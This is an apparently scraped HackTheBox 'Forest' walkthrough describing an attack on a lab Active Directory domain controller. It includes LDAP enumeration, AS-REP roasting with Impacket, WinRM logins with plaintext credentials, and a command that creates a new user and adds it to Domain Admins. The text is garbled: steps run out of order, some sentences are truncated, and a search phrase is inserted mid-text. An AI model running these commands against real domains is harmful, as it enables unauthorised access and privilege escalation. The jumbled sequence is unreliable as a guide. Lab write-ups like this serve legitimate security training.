Forest Hackthebox Walkthrough May 2026

evil-winrm -i 10.10.10.161 -u sebastian -p 'P@ssw0rd123!' And you’re in. A Windows PowerShell console on FOREST . The user flag is waiting in C:\Users\sebastian\Desktop\user.txt . From here, you need domain admin. sebastian isn’t one yet, but he has interesting group memberships. You run whoami /groups and see he is in Remote Management Users (so WinRM works) and Account Operators .

net user hacker Hacker123! /add /domain net group "Domain Admins" hacker /add /domain Then you use evil-winrm again with the new user: forest hackthebox walkthrough

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -no-pass -usersfile users.txt Where users.txt is every user you scraped from LDAP. The script runs… and a few seconds later, a hash drops: evil-winrm -i 10

echo "10.10.10.161 forest.htb.local htb.local" >> /etc/hosts First, you try enum4linux . It's polite but fruitless—null sessions are disabled. So you turn to the sharpest knife in the AD drawer: ldapsearch . From here, you need domain admin

ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" dn No immediate hits. But you notice a service account: svc-alfresco . It stands out. No special flags, but it's a low-priv user with a known pattern—often reused passwords. You decide to try AS-REP Roasting anyway, just in case. Using GetNPUsers.py from Impacket:

You have valid credentials: svc-alfresco:s3rvice . Now you’re in the forest, but not yet to the throne. You try evil-winrm :